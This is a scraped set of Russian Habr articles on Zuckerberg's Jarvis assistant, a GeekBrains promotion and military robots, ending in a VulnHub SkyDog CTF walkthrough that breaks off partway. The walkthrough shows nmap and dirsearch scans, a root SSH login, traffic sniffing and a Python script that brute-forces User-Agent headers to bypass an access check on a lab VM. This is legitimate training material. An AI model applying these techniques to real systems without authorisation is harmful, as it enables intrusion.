Вчера Марк Цукерберг рассказал об итогах своего личного проекта, который он запланировал для себя на 2016 год. Целью основателя Facebook было создание функционального AI-помощника с голосовым управлением по аналогии с системой из комиксов и фильмов Marvel о «Железном Человеке». Разработка Цукерберга носит то же имя, что и система из комиксов — Jarvis. При этом Марк отмечает, что создание подобной системы оказалось даже проще, чем он ожидал. Функции голосового управления уже существуют в различных гаджетах, а некоторые компании предлагают решения в виде интеллектуальных голосовых помощников. При этом почти все эти системы слабо обучаемые и рассчитаны на массового потребителя. Цукерберг пошел дальше. За основу был взят голосовой помощник от Amazon — Alexa. При этом основатель социальной сети собственноручно «доводил» стоковое ПО до необходимого уровня. Как итог к Jarvis были подключены различные системы умного дома, которыми оснащено жилище Цукербергов и реализован еще целый ряд возможностей. Большое значение было уделено обработке команд на естественном языке, то есть система должна была воспринимать обращения Марка и его жены Чан так, будто бы они просто обращаются к живому человеку. В этом основатель Facebook смог добиться серьезных успехов. Используя нейросети и машинное обучение, Цукерберг смог обучить своего Jarvis различать музыкальные пристрастия хозяина. То есть, если он скажет помощнику включить музыку и поставить «что-нибудь легкое», то система выберет именно те композиции, которые придутся по душе основателю Facebook. Другим важным достижением Марка как программиста и разработчика можно назвать то, что он научил систему различать его собственные запросы и запросы его жены. Как пример приводится ситуация, когда Чан просит что-нибудь сделать «в моем кабинете». В этом случае Jarvis, например, включит свет в кабинете Чан, а не Марка, и наоборот. В ходе разработки код писался на Python, Objective C и PHP. Всего за 100 рабочих часов (около 12,5 рабочих 8-часовых дней) Цукерберг смог подключить к Jarvis следующие системы (причем многие не имели «из коробки» возможности общаться с другими гаджетами и устройствами): Управление осуществляется через смартфон с использованием голосового интерфейса Alexa. Также была реализована возможность текстового управления на естественном языке в обычном чате с Jarvis. По словам Марка, это очень удобно по ночам, когда другие члены семьи спят. При этом он отмечает, что пользуется текстовым интерфейсом удивительно много: «Когда у меня есть выбор: говорить или писать, я пользуюсь текстом гораздо чаще, чем мог ожидать. Для этого есть целый ряд причин, но, в основном, использование текста меньше тревожит окружающих тебя людей. Если делать что-то, что касается всех в помещении, например, включить музыку, то говорящий будет чувствовать себя комфортно, но большую часть времени текстовый ввод ощущается как более приемлемый. Аналогично, когда Jarvis общается со мной, я предпочитаю получать от него текстовые сообщения, а не голосовые. Если голос может отвлечь, то использование текста дает вам больше контроля: вы сами выбираете, когда его прочитать. Даже когда я использую голосовые команды через смартфон, я предпочитаю, чтобы Jarvis отвечал мне текстовыми сообщениями». Интересным фактом является то, что Марк упоминает об эмоциональной реакции на Jarvis. По признанию главы Facebook, после начала использования голоса системой, ему хочется сделать помощника более человечным. В первую очередь добавить по-больше юмора в ответы Jarvis. Цукерберг так объясняет свою эмоциональную реакцию на помощника: он общается с ним (как голосом, так и текстовыми сообщениям), что не дает его воспринимать как просто компьютер или ПО. При этом Марк отмечает, что часто общается с Jarvis когда даже не находится дома; подключенный к системам умного дома, камерам и домофону у калитки AI-помощник может давать главе Facebook полный отчет о происходящем в его жилище. Пока Jarvis работает через прошивку смартфона. В дальнейшем глава Facebook планирует написать Android-приложение и продолжить совершенствовать Jarvis в масштабах собственного дома. При этом в своей блогозаписи Цукерберг упомянул, что хотел бы сделать Jarvis когда-нибудь доступным для всего мира.
https://geektimes.ru/post/283876/
habrahabr
Итоги GeekWeek 2016 и возвращение ужасного БАГа: зима вместе с GeekBrains
['mail.ru', 'geekbrains', 'обучение программированию', 'курсы по программированию', 'программирование с нуля']
14-19 ноября образовательный портал GeekBrains совместно с Mail.Ru Group провёл онлайн-конференцию GeekWeek 2016 для начинающих и опытных IT-специалистов. Для тех, кто не в курсе, IT-сфера...
14-19 ноября образовательный портал GeekBrains совместно с Mail.Ru Group провёл онлайн-конференцию GeekWeek 2016 для начинающих и опытных IT-специалистов. Для тех, кто не в курсе, IT-сфера является одним из наиболее динамично развивающихся направлений в экономиках большинства стран мира. Для постоянного развития требуется много ресурсов. А главный ресурс — человек. Именно по этой причине каждый год проводится онлайн-конференция GeekWeek 2016. Главная цель — не просто заинтересовать сферой информационных технологий, но и обеспечить практическими навыками, необходимыми для успешного начала карьеры. В течение 6 дней спикеры из крупных компаний России и мира провели 61 бесплатный мастер-класс. Более 65 000 участников конференции попробовали себя в различных направлениях программирования, веб-дизайна и интернет-маркетинга, прокачали свои навыки и узнали из первых уст о современных трендах и особенностях профессий. Самые активные участники получили возможность освоить выбранную профессию бесплатно. Завершающий день конференции проводился в московском офисе Mail.Ru Group, где почти тысяча приглашённых «гиквиковцев» слушали выступления спикеров, общались и развлекались в формате «Education & Entertainment». Материалы с конференции доступны у нас на портале. Для этой конференции образовательный портал GeekBrains подготовил совместный подарок с онлайн-школой английского языка — EnglishDom. Студенты платных программ получили курс «Английский для IT-специалистов» и год бесплатного доступа к сервису EnglishDom. Конференция прошла, а подарок остался. Пользователи GeekBrains при покупке комплексных программ-профессий получают возможность изучать английский язык в подарок. GeekBrains постоянно делится интересным контентом и различными интерактивами. За 2016 год мы провели 708 учебных потоков, записали 241 вебинар и выпустили 472 статьи. На День Программиста, 9 сентября, команда GeekBrains просила всех пользователей помочь в борьбе с вымышленным виртуальным врагом. Чтобы его победить, нужно было «пофиксить баг» на сайте. Небольшой квест прошли десятки тысяч студентов: «обезвредили баг» и получили ценные призы и скидки. Правда в том, что «Тёмный Алгоритм» (вы же знаете, что Это?!) не дремлет. Пока все праздновали победу, он похитил исходный код «бага». Два месяца он с помощью опасного кода и небезопасных переменных превращал баг в нечто ужасное. Новое нападение бага было 13 декабря! Сайт GeekBrains атаковал CyberBug ! Его главная цель — испортить Новый Год всем участникам GeekBrains, все подарки теперь в его маленьких коварных лапках. Что ж, храбрые хабравчане, давайте поможем вернуть Новый Год в GeekBrains! Поговаривают, что те, кому удалось уничтожить КиберБага, получают целую кучу подарков и скидку 45% на любую IT-профессию. Проверим?
https://habrahabr.ru/company/geekbrains/blog/318074/
habrahabr
Роботы — будущее войн?
['боевые роботы', 'гигантские человекоподобные роботы', 'titanfall', 'call of duty', 'сша', 'трамп']
Эволюция военной робототехники удивляет, и уже начинают появляться технологии ужаса, похожие на представленные в играх «Titanfall 2» и «Call of Duty: Infinite Warfare» П.В. Сингер – известная...
Эволюция военной робототехники удивляет, и уже начинают появляться технологии ужаса, похожие на представленные в играх «Titanfall 2» и «Call of Duty: Infinite Warfare» П.В. Сингер – известная в военных кругах фигура. Один из главных мыслителей в этой области, он написал " Wired for War " (Создан для войны), плодотворные размышления про боевых роботов, и " Ghost Fleet " (Призрачный флот), повесть про Третью мировую войну, благодаря которой он делал доклад для Комитета Сената США по вооружённым силам . Он был техническим консультантом при создании таких игр, как «Call of Duty» и «Metal Gear», а также на съёмках голливудских фильмов. Когда серьёзные люди хотят обсудить применение машин в войнах, они приглашают Сингера, или приходят в его офис в мозговой центр New America Foundation, расположенный всего в одном квартале от Белого дома. Поэтому не было ничего удивительного в том, что его пригласили на военно-игровой проект, пытающийся предсказать ход войн в будущем. Но прибыв туда, он обнаружил, что для иллюстрации боевых роботов будущего авторы проекта использовали картинки из таких фильмов, как «Terminator». «А почему бы вам не взять изображения реальных машин, действующих уже сейчас?», спросил он. Как это ни удивительно, даже военные планировщики, представляя будущее войн, склоняются к НФ-роботам. «Но я должен был сказать им, чтобы они не отбрасывали полностью идею мехов ». Но, несмотря на обилие существующих военных роботов, игры также склоняются к их НФ-версиям. За последние пару месяцев две игры о будущих войнах, «Call of Duty: Infinite Warfare» и «Titanfall 2», демонстрируют мир, населённый автономными военными машинами, эмулирующими человеческую анатомию, от антропоморфной робопехоты до мехов, управляемых ИИ. Titanfall 2 Насколько это реалистично? Соответствует ли это реальному использованию роботов на полях сражений, и вообще, зачем нужен робот в виде человека, с руками, ногами и головой? На самом деле, это очень сложный вопрос, открывающий результат смешивания будущих роботов в представлении художника и реально строящихся учёными машин. Несмотря на научно-фантастический привкус, вопрос внешнего вида и действий боевых роботов удивительно сильно связан с сегодняшним днём. В будущем году администрация Трампа будет решать, можно ли разрешить роботам выискивать и убивать людей на поле боя без человеческого руководства. Шаг за шагом Контраст между практическим применением роботов и НФ существовал с момента появления этого жанра. В истории «Робби», открывавшей сборник «Я, робот» Айзека Азимова от 1950 года, Азимов предсказывал, что к 1998 году роботы уже будут передвигаться достаточно хорошо, чтобы стать партнёром по играм для детей, но при этом «Говорящий робот» будет громоздким устройством, ограниченным пределами музея. В реальности всё произошло наоборот – у вас в кармане, наверно, есть «говорящий» бот, умеющий отвечать на вопросы, но науке ещё предстоит в совершенстве овладеть биомеханикой человеческого движения. Согласно доктору Сингеру, ноги являются сложной задачей для инженеров, поскольку они комбинируют задачи передвижения и балансировки. Для одного шага требуется работа десятка мускулов, суставов и связок , работающих вместе, от пальцев ног до бёдер, а тело и мозг при этом выполняют подстройку «на лету». Роботы ещё не дошли до этого. Из-за сложности задачи Сингер считает, что разработка ходячих роботов, даже таких известных их представителей, как Atlas от Boston Dynamics , находится в стадии «научного проекта». «Работа над ними идёт, но ещё не один из проектов не был введён в действие,- говорит Сингер. – Нет ни одного рабочего прототипа, демонстрировавшегося на выставке. Мы ещё не дошли до этого». По его словам, хотя в лаборатории антропоморфные роботы выглядят многообещающе, но сейчас они пригодны лишь для съёмки крутых видео для YouTube . Многие не могут работать без привязки к внешнему питанию. При этом, другие типы военных роботов – передвигающихся на колёсах, гусеницах, крыльях и пропеллерах – уже используются на полях сражений. «Роботы с ногами – всё ещё научный проект, а другие виды можно потрогать, увидеть в деле и купить». Когда Сингер консультирует разработчиков игр и авторов сценариев военных действий, он держит их в курсе реальной скорости развития робототехники. Поэтому в Black Ops II, разворачивающейся в ближайшем будущем, можно будет увидеть насекомоподобных дронов, беспилотники и миниатюрные танки-часовые, и никаких гуманоидных роботов. «Сложно представить, что через десять лет у нас будет много роботов с ногами,- говорит он. – Лет через 50 эти проблемы уже решат». Но, по его словам, мы рано или поздно увидим роботов с ногами – поскольку такие системы крайне востребованы для городских боёв. Человеческие тела для человеческих городов Частично люди зацикливаются на гуманоидных роботах из-за недостатка воображения, цепляясь за то, что видели в кино. Но в будущем антропоморфных роботов наверняка будут дислоцировать на поле битвы. С учётом скорости урбанизации и роста населения, военный колледж США предсказывает, что в ближайшие десятилетия всё больше боёв будет идти в местах с высокой урбанизацией – то есть в местах, предназначенных для того, что двигается и выглядит, как люди. «Если вы задумали робота, способного перемещаться в здании,- говорит Сингер,- то вспомните, что здания предназначены для людей определённой высоты или формы. Это реальная проблема дизайна. Мы строим мир определённым образом». Исследователи пытаются создавать роботов, способных передвигаться в условиях простейшей человеческой архитектуры. В 2008 году на TechX Challenge предложили приз в $700 000 команде, чей робот сможет автономно войти в здание, подняться по лестнице и нажать в лифте кнопку определённого этажа. Никто его не выиграл . Большинство роботов даже до входной двери не добрались. А её даже не требовалось открывать. Но технологии не стоят на месте. Недавно команда из Стэнфорда построила робота, способного не только нажать нужную кнопку, но и распознать кнопки на панели лифта , не виденные им ранее. Это был скачок развития. У робота работали «глаза» и «палец» – два критичных компонента оборудования, необходимые людям для передвижения по зданиям. Но лестница – такое же неестественное человеческое изобретение, как и лифт – могла остановить его. И наоборот, используемые сейчас роботы для обезвреживания бомб обычно передвигаются на колёсах, гусеницах, или сочетают эти методы. Многие из них могут карабкаться по лестницам, пусть и неуклюже. Call of Duty: Infinite Warfare Если верить Сингеру, системы с ногами достойны того, чтобы их разрабатывать. Разные системы движения подходят для разных типов местности – колёса быстрые, но им требуются плоские поверхности, гусеницы жертвуют скоростью для возможности передвижения по камням – но человеческие ноги универсальны. «Ходить можно по чему угодно,- говорит он,- по ровной местности, ступенькам или горе. Можно ходить как по бетону, так и по песку». Освоить передвижение в строениях также необходимо, поскольку военным нужны роботы, способные зачищать здания – чрезвычайно опасное занятие. Один из исполняющих свою роль роботов – это 110 FirstLook от Endeavor Robotics , переносной дрон, которого можно зашвырнуть через окно и затем управлять им дистанционно, позволяя солдатам изучать здание через камеры робота. В Пентагоне надеются, что ассортимент будущих пилотируемых и беспилотных систем захватит диапазон от экзоскелетов типа «Железного человека » до роботов, перемещающихся от двери до двери, благодаря которым солдаты смогут зачищать комнаты без жертв. Такие системы могут защитить жизни солдат, но сделать войны ещё более ужасными. Эта динамика прослеживается в Titanfall и Infinite Warfare. В Infinite Warfare роль штурмующих помещения сил исполняют защитные роботы из Settlement Defense Front, выгоняющие игроков с укреплённых позиций и часто врывающиеся в комнаты. В Titanfall 2 игрок может взламывать роботов и превращать их в союзников, чтобы они заслоняли вас от пуль, одновременно обрабатывая огнём ваших врагов. В обоих случаях прослеживается предчувствие того, что роботы когда-нибудь смогут заменить живых солдат на слишком опасных местах. Эта тенденция развивается уже сейчас. Робот для каждой задачи, задача для каждого робота В Titanfall 2 и Infinite Warfare встречаются не только боевые роботы – там есть и промышленные модели. Можно попасть в космический корабль или забраться в шахту на Меркурии, и найти там роботов, выполняющих работу в условиях, в которых не выжили бы люди. Именно в таких условиях сегодня и применяются военные и промышленные роботы – но, в отличие от их родственников БПЛА, наземные роботы сегодня в основном защищают человеческую жизнь, а не отнимают её. Современные военные роботы в основном исполняют функцию обезвреживания бомб (Explosive Ordinance Disposal, EOD), или работают в присутствии радиоактивных или химически активных материалов. После аварии на станции Фукусима в 2011, Tokyo Electric Power Company наняла подрядчика для обзора места происшествия при помощи дрона T-Hawk . Дроны используются на Фукусиме и сегодня; в прошлом году специально изготовленный дрон передавал видео и показания по радиации изнутри реактора , три часа проработав в условиях, в которых человек не выжил бы и нескольких секунд. Это в каком-то смысле лучший из вариантов использования роботов – выполнение задач, которые, в прошлых катастрофах, например, в Чернобыле, забрали жизни рабочих. С развитием технологий военные планировщики подыскивают роботам другие опасные рабочие места. К примеру, автоматически движущиеся конвои могут уменьшить количество жертв, подорвавшихся на минах. Роботы могут увеличить количество переносимых припасов, что уменьшит количество возвратов на базу и оградит от огня пехоту, пытающуюся доставить боеприпасы и оборудование на место сражения. Call of Duty: Infinite Warfare В этом году израильская компания Tactical Robotics провела первый успешный полёт AirMule , автономного воздушного спасательного дрона, способного приземляться на поле битвы и взлетать с него в местах, где не поместится традиционный эвакуационный вертолёт. Джон Хопкинс доказал, что дронами можно доставлять кровь , а в Японии тестируют доставку дефибрилляторов . Можно заметить, что эти дроны выглядят больше как заменяемое ими оборудование, чем как люди, чью работу они отбирают – и это так и задумано. Задача робота – выполнить свою функцию, а не подражать людям. Робот-медик будет похож не на человека-медика, а на робоскорую: Robotic Extraction Vehicle/Robotic Evacuation Vehicle (REX/REV). Это автоматически передвигающаяся машина, снабжённая робоносилками. По словам Сингера, причины такой тенденции практические, а руководит ими рынок. «Если на фабрике делают автомобили, изменения, необходимые для производства робомобилей отнимут меньше денег, если вы просто делаете то же самое,- говорит он. – Мы меняем софт, а не железо». Он добавляет, что клиенты – в том числе и военные – также с большей охотой покупают знакомое оборудование. Для военных это особенно важно, поскольку генералы, за которыми остаётся последнее слово в закупках, довольно пожилые, и не очень доверяют технике. К примеру, в прошлом году капитан армейского киберинститута создал устройство для создания помех дронам на базе Raspberry Pi. Его можно было сделать в виде радио, но он сделал его в виде оружия, чтобы высшим чинам было понятнее. «Когда всё это размещено на ружейной базе, командованию это легче переварить»,- пояснил он Popular Mechanics . «Прицелились, выстрелили, упало». Способность объяснять сложные технологии начальникам станет ключевой для следующей администрации. Трамп признал, что в 2007-м у него не было компьютера , а емейлы и онлайн-статьи он читал с распечаток . Для таких чиновников знакомо выглядящая технология будет иметь преимущество при принятии решения о покупке. Но нельзя просто модифицировать текущие машины, поскольку это задерживает инновации и понижает эффективность. Роботы для обезвреживания мин в виде тракторов сейчас могут продаваться лучше, но, в конце концов, пустую водительскую кабину сочтут тратой ресурсов и устранят. Часть преимуществ автономных систем состоит в возможности устранить системы, ставшие ненужными, что сэкономит топливо и освободит место для грузов или оборудования. Кроме того, робототехника может отставать в развитии из-за попыток воспроизвести человеческие движения, а не улучшать их. И хотя при помощи ног действительно удобно передвигаться, двуногая система не обязательно самая эффективная. Многоногие роботы могут стать более стабильными платформами для стрельбы и решать проблемы с балансировкой – то есть, первые рабочие роботы с ногами могут больше напоминать пауков или собак , чем людей. В будущем боевые роботы могут позаимствовать идеи дизайна у природы, как в игре " Horizon: Zero Dawn " про сражения пещерных людей с роботами. Существует множество проектов, пытающихся воспроизвести биологические системы в роботах. Европейские исследователи работают над искусственным глазом , повторяющим сложные глаза насекомых. В MIT делают робота, похожего на гепарда – на деньги DARPA – способного бегать с большой скоростью и перепрыгивать препятствия . Другие учёные делают дронов, способных питаться энергией с высоковольтных линий электропередачи, садясь на них , словно птицы, или «поедать» органику и сжигать её для получения энергии (этот робот очень не понравился журналистам , когда они узнали, что теоретически он способен питаться трупами). Одна из команд хочет построить датчик, воспроизводящий уникальное зрение ястреба, нечто вроде системы «картинка в картинке» на телевизоре. «Ястребы способны сканировать большие пространства, одновременно концентрируясь на добыче,- говорит Сингер. – Такая система должна быть у наших высотных дронов». Но самое, по его словам, интересное, что роботы заимствуют у природы – это дезагрегированное сознание. Мы представляем роботов большими интеллектуальными системами, напоминающими людей, но сейчас всё больше внимания уделяется стаям небольших роботов , у каждого из которых есть своя задача, напоминающих муравьёв, способных совершать координированные атаки или наблюдения. «Любой отдельный муравей не особенно умён,- говорит Сингер,- но совместно они способны выполнять очень сложные задачи. – Та же дилемма появляется и в робототехнике – выполнит ли задачу одна большая сверхумная система, или работать будет множество небольших частей?». И стаи роботов – это не умозрительная технология, она уже работает. Disney запустил в Орландо воздушное световое шоу , в котором 300 дронов с LED-подсветкой формируют изображения новогодней ёлки и летящих птиц под музыку. Легко представить пугающее будущее, в котором такие дроны будут нести на себе не светодиоды, а кластерные бомбы. Кто-то изучает муравьёв, кто-то пытается повторить особенности ястребов, и возможно, что в будущем роботы, даже похожие на людей, станут технологическими гибридами разных существ. Роботы будущего, возможно, будут бегать, как гепарды, видеть мир, как мухи и обладать человеческими руками. А поскольку роботы – существа неестественные, им не обязательно подчиняться законам биологии и эволюции. На Земле нет животного с глазами на руках – но у современных роботов для обезвреживания бомб такая особенность есть, поскольку они используются для разминирования. Боевые роботы могут быть не гуманоидными или анималистичными, а больше напоминающими чудовищ из книг Лавкрафта, с кучей рук и глаз. Фантазировать на эту тему интересно, пока вы не представите себя в роли солдата, столкнувшегося с таким монстром на поле боя. Фантастика следует за реальностью, а потом реальность за фантастикой Несмотря на все эти возможности, игровая индустрия не отходит от традиционных НФ-концепций боевых роботов – больше походящих на Железного дровосека или Метрополиса, чем на современных боевых роботов. В качестве консультанта игровых студий Сингер пытается убеждать их создавать более приземлённые системы, но дизайнеры остаются предвзятыми. «Вы говорите: 'это нереалистично', а вам отвечают: 'Но роботы должны так выглядеть' », поясняет Сингер. «Научная фантастика влияет на наше представление о будущем». Но постоянная подпитка культуры такими изображениями роботов имеет эффект обратного воздействия, из-за которого военные начальники, насмотревшиеся на голливудских роботов, считают, что технология приведёт нас именно туда. «В военном аспекте та же проблема: все считают, что дизайн должен быть футуристичным, потому что он выглядит футуристичным. Это порочный круг». Но хотя это и происходит в играх Titanfall 2 и Infinite Warfare, много чего они изображают верно. Согласно современным военным теориям, роботы будут сопровождать и дополнять людей в битве, а не заменять их. В военной лаборатории морской пехоты придумывают систему MAARS – дистанционно управляемый танк, снабжённый камерами, пулемётом M240 и гранатомётом. Call of Duty Тем временем русский беспилотный танк Уран-9 пытается совмещать противопехотное и бронебойное вооружение в небольшом объёме, с командой, управляющей машиной с безопасной дистанции. Эти мини-танки похожи на роботов-компаньонов из Titanfall 2 или Infinite Warfare, и задача их примерно такая же – дополнять огневую мощь пехоты и охранять её. Когда Рейес командует бронированным мехом в Infinite Warfare, он, по сути, управляет системой дистанционно, примерно так же, как пехотинцы представляют себе работу системы MAARS, или русские – Уран-9. Как и автономные гранаты в Infinite Warfare – взрывчатка с ногами, как у краба, разыскивающая врага в укрытии – стали роботизированной версией оружия, применённого полицией Далласа этим летом. Полицейские привязали С4 к роботу для обезвреживания мин и отправили его поближе к снайперу , сидящему в укрытии. Этот тревожный инцидент – первое подтверждённое убийство человека при помощи наземного беспилотника – заставило полицию пересмотреть свои правила и выпустить инструкцию по поводу того, в каких случаях допускается использование дронов-убийц. Хорошие новости в том, что министерство обороны, следуя примеру редкого использования беспилотников в «войне против терроризма», неохотно работает над вводом в строй беспилотных аппаратов. Предшественник системы MAARS, SWORDS (также управляемый дистанционно), был дислоцирован в Ираке, но ни разу не выстрелил по врагу – частично из-за проблем с прицеливанием, выявленных при тестировании. Управляющий программой разработки аппарата предположил, что в Пентагоне осторожничают , считая, что если наземный боевой робот не оправдает ожиданий или ошибётся с целью, это отбросит программу назад на десятилетия. Но деликатность Пентагона в использовании дронов может скоро исчезнуть – новая администрация способна переписать правила использования роботов в войне. Администрация Трампа определит будущее роботов Сингер считает, что увеличение автоматизации будет иметь большие экономические и юридические последствия, и что администрация Трампа будет решать будущее войны и мира. Робомобили приведут к несчастным случаям, в которых никто не виноват (это датчики неисправны, или тормоза?), а также к исчезновению рабочих мест в грузоперевозках и производстве . «Вопрос использования роботов в войнах и на дорогах имеет не только юридические последствия; всё больше людей будут ощущать, как роботы вытесняют их экономически,- говорит Сингер. – Нечто подобное происходит в Китае, с фабрикой Foxconn – они постоянно увеличивают автоматизации. Несколько недель назад по CNN показали такой милый сюжет про робота, способного сделать рубашку от начала до конца. Что это означает для Бангладеш?» Но, несмотря на экономические последствия автоматизации, администрация Трампа должна будет принять окончательное решение по поводу использования летального автономного оружия (Lethal Autonomous Weapon, LAW). Текущие правила от 2012 года оговаривают необходимость присутствия человека, контролирующего открытие автономной системой огня – чтобы оружие не могло убивать самостоятельно. Правила расплывчатые, и их можно обойти при необходимости, но по их условиям, решения должен принимать человек. «В них есть пункт, согласно которому через пять лет их можно обновить, либо оставить, как есть,- говорит Сингер. – В следующем году как раз будет пять лет». Иначе говоря, в Белом доме Трампа решат, станут ли роботы-убийцы частью американского арсенала – или же выбор между жизнью и смертью останется в руках человека.
https://geektimes.ru/post/283878/
habrahabr
VulnHub Разбор заданий с CTF SkyDog: 2016 — Catch Me If You Can
['ctf', 'vulnerability', 'vulnhub', 'skydog', 'information security']
Продолжаем разбор лаб с VulnHub. На этот раз будем разбирать решение CTF с недавней конференции по информационной безопасности SkyDog Con. Начнём Скачиваем образ для VirtualBox, запускаем и...
Продолжаем разбор лаб с VulnHub . На этот раз будем разбирать решение CTF с недавней конференции по информационной безопасности SkyDog Con . Начнём Скачиваем образ для VirtualBox, запускаем и как обычно смотрим вывод nmap`а: sudo nmap 192.168.1.174 -sV -sC -p1-65535 Скрытый текст Starting Nmap 7.01 ( nmap.org ) at 2016-12-18 19:39 MSK Nmap scan report for 192.168.1.174 Host is up (0.00032s latency). PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: SkyDog Con CTF 2016 — Catch Me If You Can 443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: 400 Bad Request | ssl-cert: Subject: commonName=Network Solutions EV Server CA 2/organizationName=Network Solutions L.L.C./stateOrProvinceName=VA/countryName=US | Not valid before: 2016-09-21T14:51:57 |_Not valid after: 2017-09-21T14:51:57 |_ssl-date: TLS randomness does not represent time 22222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b6:64:7c:d1:55:46:4e:50:e3:ba:cf:4c:1e:81:f9:db (RSA) |_ 256 ef:17:df:cc:db:2e:c5:24:e3:9e:25:16:3d:25:68:35 (ECDSA) MAC Address: 08:00:27:D3:70:74 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 — 4.1 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Нам доступны 3 порта SSH(22222), HTTP(80), HTTPS(443). Flag#1 — «Don’t go Home Frank! There’s a Hex on Your House» Судя из описания к первому флагу, нам нужно искать что-либо похожее на HEX последовательность. Беглый осмотр сайта не дал результата, скан файлов и директорий тоже особо ситуацию не прояснил: sudo dirsearch -u http://192.168.1.174 -e php,txt,json,bak,html -w /usr/share/dirb/wordlists/big.txt -r -f Заглянув в код главной страницы видим следующее: </div> <!--[if IE 8]> <html lang="en" class="ie8"> <![endif]--> <!--[if IE 9]> <html lang="en" class="ie9"> <![endif]--> <!--[If IE4]><script src="/oldIE/html5.js"></script><![Make sure to remove this before going to PROD]--> <!--[if !IE]><!--> <!-- Header --> Хм, странно, зачем нужно удалить этот код перед публикацией. Загляну внутрь /oldIE/html5.js , находим ту самую HEX последовательность о которой говорилось в описании флага: Декодируем, и получаем первый флаг: flag{7c0132070a0ef71d542663e9dc1f5dee} . Это md5 от nmap . Flag#2 — «Obscurity or Security? That is the Question» Dirsearch выдал нам 403 на странице /personnel . Пробуем её открыть, дабы узнать подробности, в ответ получаем единственное сообщение: ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging.... Попробовав изменить User-Agent в запросе, получаем тот же результат. Nikto тут нам тоже не помог, как и надежда на то, что на https крутится другая версия сайта. Предположив, что в флаге 1 была подсказка, и снова взглянув на лог, вспоминаем про нестандартный ssh порт. Коннектимся туда от root: ssh root@192.168.1.174 -p 22222 Находим второй флаг: Flag{53c82eba31f6d416f331de9162ebe997} , в котором хеш от encrypt Flag#3 — «During his Travels Frank has Been Known to Intercept Traffic» И так, речь идёт о перехвате трафика, предыдущий флаг, отсылает нас к шифрованию. Не трудно догадаться, что нужно заглянуть в дамп SSL трафика, который идёт при загрузке страницы. Запускаем Wireshark, выставляем фильтр для отображения пакетов только с сайта: ip.addr == 192.168.1.174 Переходим на 192.168.1.174 , кликаем по ссылкам, что нам доступны, и далее переходим к просмотру трафика: Флаг найден: flag3{f82366a9ddc064585d54e3f78bde3221} , это оказывается хеш от personnel P.S. Как выяснилось позже, флаг можно было найти просто заглянув в браузере в свойства https сертификата: Скрытый текст Flag#4 — «A Good Agent is Hard to Find» Из третьего флага и описания, следует что моё изначальное предположение о том, что для входа на страницу /personnel требуется верный User-Agent, оказалось верным. Скачиваем список всех User-Agent`ов. Далее используя следующий скрипт на Python запускаем перебор. import requests import sys url = 'http://192.168.1.174/personnel' ua_file = sys.argv[1] head = {'User-Agent':''} bad_resp = 'ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....' file = open(ua_file, 'r').read().splitlines() for item in file: head['User-Agent'] = item.strip() req = requests.get(url, headers=head) if req.text != bad_resp: print('Found UA: %s' %(item)) print(req.text) Результат не заставил себя долго ждать: Список найденых User-Agent строк Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 95) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Mac_68K) Found UA: Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240x320) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240x320) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176x220) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240x320) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176x220) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240x320) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; PPC) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95) Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC) Found UA: Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0) Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT) Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98 ) Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95) Found UA: Mozilla/4.0 (Compatible; MSIE 4.0) Found UA: Mozilla/2.0 (compatible; MSIE 4.0; Windows 98) Found UA: nuSearch Spider (compatible; MSIE 4.01; Windows NT) Судя по всему ФБР пользуется только MSIE 4.0 :) После замены в браузере User-Agent и перехода по 